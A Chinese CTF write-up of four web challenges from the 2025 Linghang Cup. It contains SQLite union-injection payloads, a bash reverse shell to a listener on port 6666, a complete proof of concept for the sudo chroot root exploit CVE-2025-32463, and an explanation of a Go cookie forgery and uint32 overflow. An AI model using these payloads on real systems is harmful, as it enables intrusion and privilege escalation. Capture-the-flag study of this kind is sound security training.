本文最后更新于98 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com
2025领航杯web-wp
登进博客才发现忘记发了…web前三题都很简单很快就写完了。最后一题磨2小时也不会
web_签到
关注公众号回复即可。
web-sqllogic
sql注入,试了试数据库不是mysql,而是sqlite。
-1' union select 1,2,3,4,5 --+ //列数为5列
-1' union select 1,sql,3,4,5 from sqlite_master where type='table'--+ //查列名
-1' union select 1,flag,3,4,5 from coupons--+ //查值
web-2345
提示了sudo漏洞。
可以上传.sh文件并且会直接运行,那先谈个shell
#!/bin/bash
bash -i >& /dev/tcp/服务器ip/6666 0>&1
上传文件并进行监听
root@iZf8z2dh412cfl7e03twuiZ:~# nc -lvvp 6666
Listening on 0.0.0.0 6666
Connection received on 123.56.252.211 42142
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@M2-U833-T285-C48:/var/www/html$ ls
ls
123.sh
index.php
www-data@M2-U833-T285-C48:/var/www/html$
查看sudo有没有漏洞
www-data@M2-U833-T285-C48:/etc$ sudo --version
sudo --version
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2
这个版本存在CVE-2025-32463。
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
稍微修改一下poc然后直接上传
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
# 直接设置命令为读取 flag
CMD="find / -name '*flag*' -type f 2>/dev/null; cat /flag /root/flag /root/flag.txt 2>/dev/null; ls -la /root/ 2>/dev/null"
# Escape the command to safely include it in a C string literal.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\/\\/g' -e 's/"/\"/g')
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "正在利用漏洞获取 flag..."
sudo -R woot woot
rm -rf ${STAGE?}
得到flag

go to code
赛后得知是WMCTF2020 – GOGOGO的翻版。
参考:https://blog.annevi.cn/security/CTF/WMCTF2020-GOGOGO-WriteUp.html
给的源码是:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h3>欢迎登录<h3>
<form method="post" action="/auth/login">
Username: <input type="text" name="uname" /><br/>
Password: <input type="password" name="pwd" /><br/>
Hash: md5(hash)[:6] == {{ .hsh }} <input type="text" name="hsh" /><br/>
<input type="submit" value="login"/>
</form>
</body>
</html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h2>Game</h2>
<h2>You have Money: {{ .playerMoney }}</h2>
<h2>Price of flag: {{ .nowMoney }}</h2>
<form method="post" action="/play/guess">
<input type="submit" value="buyFlag"/>
</form>
<form method="post" action="/play/add">
You can add Flag Price if you are admin: <input type="text" name="addMoney" /><br/>
<input type="submit" value="addPrice"/>
</form>
</body>
</html>
package main
import (
"fmt"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
"io/ioutil"
"strconv"
)
var secret, _ =ioutil.ReadFile("secret")
func add(c *gin.Context){
var newMoney uint32 = 0
s := sessions.Default(c)
nowMoney :=fmt.Sprintf("%v",s.Get("nowMoney"))
addMoney :=c.PostForm("addMoney")
u1, err1 :=strconv.ParseUint(nowMoney,10,32)
u2, err2 :=strconv.ParseUint(addMoney,10,32)
if err1 != nil && err2 != nil{
c.String(200,"Your money is wrong")
c.Abort()
return
}
if s.Get("checkNowMoney")==nil{
c.String(200,"Dont have checkNowMoney")
c.Abort()
return
}else {
checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
if checkNowMoney == nowMoney {
newMoney = uint32(u1) + uint32(u2)
s.Set("nowMoney", newMoney)
s.Set("checkNowMoney", AesEncrypt(strconv.Itoa(int(newMoney)), string(secret)))
s.Save()
c.String(200, "New money set.Refresh /game")
return
} else {
c.String(200, "checkNowMoney is wrong")
}
}
}
func guess(c *gin.Context){
s := sessions.Default(c)
playerMoney :=fmt.Sprintf("%v",s.Get("playerMoney"))
nowMoney :=fmt.Sprintf("%v",s.Get("nowMoney"))
u1, err1 :=strconv.ParseUint(playerMoney,10,32)
u2, err2 :=strconv.ParseUint(nowMoney,10,32)
if err1 != nil && err2 != nil{
c.String(200,"Wrong")
c.Abort()
return
}
var newMoney = uint32(u1)
if s.Get("checkNowMoney")==nil||s.Get("checkPlayerMoney")==nil{
c.String(200,"Dont have checkNowMoney or checkPlayerMoney")
c.Abort()
return
}else {
checkPlayerMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkPlayerMoney")), string(secret))
checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
if u1 >= u2 && checkPlayerMoney == playerMoney && checkNowMoney == nowMoney {
newMoney = uint32(u1) - uint32(u2)
f, err := ioutil.ReadFile("flag")
if err == nil {
s.Set("playerMoney", newMoney)
s.Set("checkPlayerMoney", AesEncrypt(fmt.Sprintf("%v", s.Get("playerMoney")), string(secret)))
s.Save()
c.String(200, string(f))
c.Abort()
return
} else {
c.String(200, "SomethingWrong")
}
} else {
c.String(200, "Your money is not enough or you do some trick on the check")
c.Abort()
return
}
}
}
func start(c *gin.Context) {
s := sessions.Default(c)
nowMoney :=s.Get("nowMoney")
playerMoney :=s.Get("playerMoney")
if nowMoney==nil{
s.Set("nowMoney",200000)
nowMoney="200000"
s.Set("checkNowMoney",AesEncrypt(fmt.Sprintf("%v",s.Get("nowMoney")),string(secret)))
s.Save()
}else {
nowMoney=s.Get("nowMoney")
}
if playerMoney==nil{
s.Set("playerMoney",5000)
playerMoney="5000"
s.Set("checkPlayerMoney",AesEncrypt(fmt.Sprintf("%v",s.Get("playerMoney")),string(secret)))
s.Save()
}else {
playerMoney=s.Get("playerMoney")
}
c.HTML(200, "game", gin.H{
"nowMoney": nowMoney,
"playerMoney":playerMoney,
})
return
}
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"encoding/base64"
"fmt"
"math/rand"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
)
func md5Hash(s string) string {
hsh := md5.New()
hsh.Write([]byte(s))
return fmt.Sprintf("%x", hsh.Sum(nil))
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
func hashProof() string {
hsh := md5.New()
hsh.Write(randomChar(6))
return fmt.Sprintf("%x", hsh.Sum(nil))[:6]
}
func loginRequired() gin.HandlerFunc {
return func(c *gin.Context) {
s := sessions.Default(c)
if s.Get("uname") == nil && (c.Request.URL.Path != "/auth/login" ) {
c.Redirect(302, "/auth/login")
c.Abort()
}
c.Next()
}
}
func adminRequired() gin.HandlerFunc {
return func(c *gin.Context) {
s := sessions.Default(c)
if s.Get("uname") == nil {
c.Redirect(302, "/auth/login")
c.Abort()
return
}
if s.Get("uname").(string) != "admin" {
c.String(200, "No,You are not admin!!!!")
c.Abort()
}
c.Next()
}
}
func hashProofRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.Request.Method == "POST" {
s := sessions.Default(c)
hsh, ok := s.Get("hsh").(string)
if !ok {
println(1)
c.String(200, "wrong hash")
c.Abort()
return
}
if md5Hash(c.PostForm("hsh"))[:6] != hsh {
fmt.Println(hsh)
c.String(200, "wrong hash")
c.Abort()
}
}
c.Next()
}
}
func loginPostHandler(c *gin.Context) {
uname := c.PostForm("uname")
pwd := c.PostForm("pwd")
if uname == "admin"{
c.String(200,"noon,you cant be admin")
return
}
if uname == "" || pwd == "" {
c.String(200, "empty parameter")
return
}
s := sessions.Default(c)
s.Set("uname", uname)
s.Save()
c.Redirect(302, "/game")
}
func loginGetHandler(c *gin.Context) {
hsh := hashProof()
s := sessions.Default(c)
s.Set("hsh", hsh)
s.Save()
c.HTML(200, "login", gin.H{
"hsh": hsh,
})
}
// AesEncrypt 网上找的简单实现AES加密而已....
func AesEncrypt(orig string, key string) string {
// 转成字节数组
origData := []byte(orig)
k := []byte(key)
// 分组秘钥
block, err := aes.NewCipher(k)
if err != nil {
panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
}
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 补全码
origData = PKCS7Padding(origData, blockSize)
// 加密模式
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
// 创建数组
cryted := make([]byte, len(origData))
// 加密
blockMode.CryptBlocks(cryted, origData)
//使用RawURLEncoding 不要使用StdEncoding
//不要使用StdEncoding 放在url参数中回导致错误
return base64.RawURLEncoding.EncodeToString(cryted)
}
//如果解密过程出错请尝试清空cookie
func AesDecrypt(cryted string, key string) string {
//使用RawURLEncoding 不要使用StdEncoding
//不要使用StdEncoding 放在url参数中回导致错误
crytedByte, _ := base64.RawURLEncoding.DecodeString(cryted)
k := []byte(key)
// 分组秘钥
block, err := aes.NewCipher(k)
if err != nil {
panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
}
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 加密模式
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
// 创建数组
orig := make([]byte, len(crytedByte))
// 解密
blockMode.CryptBlocks(orig, crytedByte)
// 去补全码
orig = PKCS7UnPadding(orig)
return string(orig)
}
//补码
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
padding := blocksize - len(ciphertext)%blocksize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
//去码
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
gin.SetMode(gin.ReleaseMode)
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.LoadHTMLGlob("template/*")
auth := r.Group("/auth/",hashProofRequired())
auth.GET("/login", loginGetHandler)
auth.POST("/login", loginPostHandler)
user := r.Group("/play/")
user.POST("/add",adminRequired(),add)
user.POST("/guess",loginRequired(),guess)
r.GET("/game",start)
r.GET("/", func(c *gin.Context) {c.Redirect(302, "/auth/login")})
r.Run("0.0.0.0:80")
}
首先我们要先登录进去,md5爆破前6位,可以ai写个脚本爆破一下。
登进去后必须要是admin才行,这里必须要伪造cookie
go版本必须使用1.20以下的,高版本的Seed 函数漏洞已修复。
伪造成功后登录进去可以得到flag需要200000,而我们只有5000
再次阅读源码找到
func add(c *gin.Context){
var newMoney uint32 = 0
// ...
u1, err1 := strconv.ParseUint(nowMoney,10,32) // 解析为uint64
u2, err2 := strconv.ParseUint(addMoney,10,32) // 解析为uint64
newMoney = uint32(u1) + uint32(u2) // ⚠️ 整数溢出点!
}
这里有 uint32整数溢出漏洞
uint32 范围:0 到 4,294,967,295 (2³² – 1)
当两个uint32相加超过最大值时:
// 溢出示例
var a uint32 = 4294967295 // 最大值
var b uint32 = 1
var result uint32 = a + b // 结果:0(溢出回绕)
// 更多例子:
// 4000000000 + 1000000000 = 705032704 (不是5000000000)
// 4294967295 + 1 = 0
// 4294967295 + 2 = 1
所以整数绕过直接获取即可




